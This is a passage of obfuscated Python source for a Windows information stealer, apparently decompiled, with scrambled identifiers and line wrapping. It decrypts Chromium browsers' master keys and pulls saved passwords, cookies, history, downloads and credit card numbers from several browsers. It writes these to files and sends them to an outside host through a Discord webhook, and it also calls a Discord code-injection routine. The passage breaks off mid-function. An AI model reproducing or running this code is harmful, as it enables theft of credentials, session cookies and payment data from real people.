TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEBCP).replace('%
EMBED_COLOR%',
str(KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIHOW
XJCTAHXEGQFSQMNVFUX)).replace('%USERNAME%',
OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDW
DAP).replace('%IP_PUBLIC%',
IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQY
N).replace('%EMBED_NAME%',
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC).replace('%EMBED_ICON%',
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP).replace('%FOOTER_TEXT%',
GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM).repl
ace('%WEBSITE%',
VACYNCEMNSGCKVFNNWMTVEDLWAZGANUMKIGPZSDBWIATYDJQVTTSDMDBUOQUIPYIPLIGTACBECOUDLTJ))

st4rt_d15c0rd(NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPO
SHTZEDRIYHQDAFBTX)
inj3ct_c0d3()

def Br0w53r_5t341():
import os
import shutil
import json
import base64
import sqlite3
import win32crypt
from zipfile import ZipFile
from [Link] import Cipher, algorithms, modes
from discord import SyncWebhook, Embed, File
from pathlib import Path
CTDYBKARXTJQBMYVXIKVUAZKPNTZDGMZXSWTKOWMBVHDYUHETFEWEDDYLFTFABIUTPGCXCUVBLZAX =
[]
OKGINOKTATWIKCSBHMHEWDAKULDDJLLSYVPFRJNVPSXRQHTSMSMXUNRVHJHC = []
XFRKJNTLWIUYHHASDAZCLFYZUNFXHUOJKQDCEPGUFAHOKRNIIRXOEUIZEBKROOOPWWXFIZLGNRB =
[]

BSQIGWZDOZDFVCIZHNDOLVWXMSCUHUHROQFLDSWIEWVEYLUPTREXKTNGCUXIHSHXAOTHWVEZUFXEOCUO =
[]

CABMCTVWNBMKJXDBCAZZDRYZFXMQUWANOYJRCXIYZQEPCMSSKSHSKQPOKCLMEWUZHQRJDPTGVAWILOPUTGZ
DEGJLEHAQFYY = []
BYLCTZZAYLAGHBNCCKKDBOFSMZTBEKWDZWXYLGPKDTNRKYAWDODCXTLIVG = []
 def Br0ws53r_Main():

VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R = [Link]('LOCALAPPDATA')

DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ = [Link]('APPDATA')

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR
=
SyncWebhook.from_url(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRX
IAMFFEBCP)
NGRMRPHRGNPYOXNTTQVGSEVVHOBRXCQBTHLWPLDSLHDCSJITFGXYOYVHYQEEXLASUSD =
{'Google Chrome':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Google', 'Chrome', 'User Data'), 'Microsoft Edge':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Microsoft', 'Edge', 'User Data'), 'Opera':
[Link](DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISI
QXANALDUYFOUZBZYGYAOYGYZ, 'Opera Software', 'Opera Stable'), 'Opera GX':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Vivaldi', 'User Data'), 'Opera GX Stable':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Opera GX Stable', 'User Data'), 'Brave':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Brave', 'User Data'), 'BraveSoftware':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'BraveSoftware', 'Brave-Browser', 'User Data'), 'Vivaldi':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Vivaldi', 'User Data'), 'Vivaldi':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, 'Vivaldi', 'User Data'), 'uCozMedia':
[Link](VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCO
DFFIOIJFGKXJXR, '

CPRHCBCTQECGNZBTGCSOZRIOVATDMSFTUDSUSFYPMDBBZILKMJRZGHRLMZZDULGVBWUCKLLDOPTSPFMHLPO
CSORDLIYNT = ['', 'Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4',
'Profile 5']
for
STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRAY
RAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR in
[Link]():
if not
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
continue
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY =
get_master_key([Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBA
YSTFTQIHCWFISFYNSOAKOKPOKNESZPRJLKCRSNDSFR, 'Local State'))
if not ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY:
continue
for v4r_profile in
CPRHCBCTQECGNZBTGCSOZRIOVATDMSFTUDSUSFYPMDBBZILKMJRZGHRLMZZDULGVBWUCKLLDOPTSPFMHLPO
CSORDLIYNT:
OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV =
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFY
NSOAKOKPOKNESZPRJLKCRSNDSFR, v4r_profile)
 if not
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV):
continue

get_passwords(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILW
VVHDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)

get_cookies(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVV
HDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)

get_history(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVV
HDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV)

get_downloads(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILW
VVHDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV)

get_cards(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHD
ZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)
if
STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRAY
RAVHBFXPABTCE not in BYLCTZZAYLAGHBNCCKKDBOFSMZTBEKWDZWXYLGPKDTNRKYAWDODCXTLIVG:

[Link](STDOSPIUGZNUWYJYH
NBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRAYRAVHBFXPABTCE)

write_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJG
ITVQFCUUMXDWDAP)

send_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGI
TVQFCUUMXDWDAP,
AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR)

clean_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJG
ITVQFCUUMXDWDAP)

def
get_master_key(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
if not
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
return
try:
with
open(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKP
OKNESZPRJLKCRSNDSFR, 'r', encoding='utf-8') as v4r_f:
 v4r_local_state = [Link](v4r_f)

APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_key = base64.b64decode(v4r_local_state['os_crypt']['encrypted_key'])[5:]
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY =
[Link](APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVX
ACVQPQGGUUYGFSHCNKYHTLHFYAOKTZT_key, None, None, None, 0)[1]
return ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY
except:
pass # postinserted
return None

def
decrypt_password(QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUS
FXSKQPBXWJYJTBXFZBTZEVKRDQUP,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY):
try:
v4r_iv =
QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQPBXWJYJTBXFZ
BTZEVKRDQUP[3:15]
v4r_payload =
QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQPBXWJYJTBXFZ
BTZEVKRDQUP[15:(-16)]
v4r_tag =
QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQPBXWJYJTBXFZ
BTZEVKRDQUP[(-16):]
v4r_cipher =
Cipher([Link](ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY),
[Link](v4r_iv, v4r_tag))
v4r_decryptor = v4r_cipher.decryptor()
v4r_decrypted_pass = v4r_decryptor.update(v4r_payload) -
v4r_decryptor.finalize()
return v4r_decrypted_pass.decode()
except:
return None

def list_tables(VZDXRYIJXPNNJWHIMCWQYOZRQREBRGOFARLDEPSSCMTLVNJIFH):
try:
v4r_conn =
[Link](VZDXRYIJXPNNJWHIMCWQYOZRQREBRGOFARLDEPSSCMTLVNJIFH)
v4r_cursor = v4r_conn.cursor()
v4r_cursor.execute('SELECT name FROM sqlite_master WHERE
type=\'table\';')
v4r_tables = v4r_cursor.fetchall()
v4r_conn.close()
return v4r_tables
except:
return []

def
get_passwords(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILW
VVHDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY):
v4r_password_db =
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV, 'Login
Data')
if not [Link](v4r_password_db):
 return
[Link](v4r_password_db, 'password_db')
v4r_tables = list_tables('password_db')
v4r_conn = [Link]('password_db')
v4r_cursor = v4r_conn.cursor()
try:
v4r_cursor.execute('SELECT action_url, username_value, password_value
FROM logins')

[Link]
d(f'\n------------------------------|
{STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRA
YRAVHBFXPABTCE}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}) |------------------------------\n')
for v4r_row in v4r_cursor.fetchall():
if not v4r_row[0] or not v4r_row[1] or (not v4r_row[2]):
continue
v4r_url = f'- Url : {v4r_row[0]}'
v4r_username = f' Username : {v4r_row[1]}'
v4r_password = f' Password : {decrypt_password(v4r_row[2],
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)}'

[Link]
d(f'{v4r_url}\n{v4r_username}\n{v4r_password}\n')
except:
pass
finally: # inserted
v4r_conn.close()
[Link]('password_db')

def
get_cookies(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVV
HDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY):
v4r_cookie_db =
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
'Network', 'Cookies')
if not [Link](v4r_cookie_db):
return
v4r_conn = None
try:
[Link](v4r_cookie_db, 'cookie_db')
v4r_conn = [Link]('cookie_db')
v4r_cursor = v4r_conn.cursor()
v4r_cursor.execute('SELECT host_key, name, path, encrypted_value,
expires_utc FROM cookies')
[Link](f'\
n------------------------------|
{STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRA
YRAVHBFXPABTCE}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}) |------------------------------\n')
for v4r_row in v4r_cursor.fetchall():
if not v4r_row[0] or not v4r_row[1] or (not v4r_row[2]) or (not
v4r_row[3]):
continue
 v4r_url = f'- Url : {v4r_row[0]}'

RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP = f' Name : {v4r_row[1]}'

JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR = f' Path : {v4r_row[2]}'
v4r_cookie = f' Cookie : {decrypt_password(v4r_row[3],
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)}'
v4r_expire = f' Expire : {v4r_row[4]}'

[Link](f'{v4r_url}\
n{RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFN
XSSMRYLCZJHLFP}\
n{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}\n{v4r_cookie}\n{v4r_expire}\n')
except:
pass
finally: # inserted
if v4r_conn:
v4r_conn.close()
try:
[Link]('cookie_db')
except:
return

def
get_history(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVV
HDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV):
v4r_history_db =
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
'History')
if not [Link](v4r_history_db):
return
[Link](v4r_history_db, 'history_db')
v4r_conn = [Link]('history_db')
v4r_cursor = v4r_conn.cursor()
v4r_cursor.execute('SELECT url, title, last_visit_time FROM urls')

[Link](
f'\n------------------------------|
{STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRA
YRAVHBFXPABTCE}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}) |------------------------------\n')
for v4r_row in v4r_cursor.fetchall():
if not v4r_row[0] or not v4r_row[1] or (not v4r_row[2]):
continue
v4r_url = f'- Url : {v4r_row[0]}'
v4r_title = f' Title : {v4r_row[1]}'
v4r_time = f' Time : {v4r_row[2]}'

[Link](
f'{v4r_url}\n{v4r_title}\n{v4r_time}\n')
v4r_conn.close()
[Link]('history_db')
 def
get_downloads(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILW
VVHDZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV):
v4r_downloads_db =
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
'History')
if not [Link](v4r_downloads_db):
return
[Link](v4r_downloads_db, 'downloads_db')
v4r_conn = [Link]('downloads_db')
v4r_cursor = v4r_conn.cursor()
v4r_cursor.execute('SELECT tab_url, target_path FROM downloads')

[Link]
pend(f'\n------------------------------|
{STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRA
YRAVHBFXPABTCE}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}) |------------------------------\n')
for row in v4r_cursor.fetchall():
if not row[0] or not row[1]:
continue

JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR = f'- Path : {row[1]}'
v4r_url = f' Url : {row[0]}'

[Link]
pend(f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR}\n{v4r_url}\n')
v4r_conn.close()
[Link]('downloads_db')

def
get_cards(STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHD
ZPHIQLJRAYRAVHBFXPABTCE,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY):
v4r_cards_db =
[Link](OVQJWWOJONCTJLOZLVQOKBSXDDKVWSIMGCLNTZFFQEBIDBVRPCJYIFVRMQOFYV, 'Web
Data')
if not [Link](v4r_cards_db):
return
[Link](v4r_cards_db, 'cards_db')
v4r_conn = [Link]('cards_db')
v4r_cursor = v4r_conn.cursor()
v4r_cursor.execute('SELECT name_on_card, expiration_month, expiration_year,
card_number_encrypted, date_modified FROM credit_cards')

CABMCTVWNBMKJXDBCAZZDRYZFXMQUWANOYJRCXIYZQEPCMSSKSHSKQPOKCLMEWUZHQRJDPTGVAWILOPUTGZ
[Link](f'\n------------------------------|
{STDOSPIUGZNUWYJYHNBRHRNGESFBZQVCFISPSKEDEZKHYGJYNMQLJRRXHOZLWSORZOILWVVHDZPHIQLJRA
YRAVHBFXPABTCE}
({JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKN
ESZPRJLKCRSNDSFR}) |------------------------------\n')
for v4r_row in v4r_cursor.fetchall():
 if not v4r_row[0] or not v4r_row[1] or (not v4r_row[2]) or (not
v4r_row[3]):
continue

RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP = f'- Name : {v4r_row[0]}'
v4r_expiration_month = f' Expiration Month : {v4r_row[1]}'
v4r_expiration_year = f' Expiration Year : {v4r_row[2]}'
v4r_card_number = f' Card Number : {decrypt_password(v4r_row[3],
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY)}'
v4r_date_modified = f' Date Modified : {v4r_row[4]}'

CABMCTVWNBMKJXDBCAZZDRYZFXMQUWANOYJRCXIYZQEPCMSSKSHSKQPOKCLMEWUZHQRJDPTGVAWILOPUTGZ
[Link](f'{RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYS
ADLYSUVUYQJITKFKDZQFNXSSMRYLCZJHLFP}\n{v4r_expiration_month}\
n{v4r_expiration_year}\n{v4r_card_number}\n{v4r_date_modified}\n')
v4r_conn.close()
[Link]('cards_db')

def
write_files(OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJG
ITVQFCUUMXDWDAP):

[Link](f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLF
WBLMBYMKMJGITVQFCUUMXDWDAP}', exist_ok=True)
if
CTDYBKARXTJQBMYVXIKVUAZKPNTZDGMZXSWTKOWMBVHDYUHETFEWEDDYLFTFABIUTPGCXCUVBLZAX:
with
open(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYM
KMJGITVQFCUUMXDWDAP}\\
Passwords_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGI
TVQFCUUMXDWDAP}.txt', 'w', encoding='utf-8') as f:
[Link]('\
n'.join(CTDYBKARXTJQBMYVXIKVUAZKPNTZDGMZXSWTKOWMBVHDYUHETFEWEDDYLFTFABIUTPGCXCUVBLZ
AX))
if OKGINOKTATWIKCSBHMHEWDAKULDDJLLSYVPFRJNVPSXRQHTSMSMXUNRVHJHC:
with
open(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYM
KMJGITVQFCUUMXDWDAP}\\
Cookies_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITV
QFCUUMXDWDAP}.txt', 'w', encoding='utf-8') as f:
[Link]('\
n'.join(OKGINOKTATWIKCSBHMHEWDAKULDDJLLSYVPFRJNVPSXRQHTSMSMXUNRVHJHC))
if
XFRKJNTLWIUYHHASDAZCLFYZUNFXHUOJKQDCEPGUFAHOKRNIIRXOEUIZEBKROOOPWWXFIZLGNRB:
with
open(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYM
KMJGITVQFCUUMXDWDAP}\\
History_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITV
QFCUUMXDWDAP}.txt', 'w', encoding='utf-8') as f:
[Link]('\
n'.join(XFRKJNTLWIUYHHASDAZCLFYZUNFXHUOJKQDCEPGUFAHOKRNIIRXOEUIZEBKROOOPWWXFIZLGNRB
))
if
BSQIGWZDOZDFVCIZHNDOLVWXMSCUHUHROQFLDSWIEWVEYLUPTREXKTNGCUXIHSHXAOTHWVEZUFXEOCUO:
with
open(f'Browser_{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYM
KMJGITVQFCUUMXDWDAP}\\
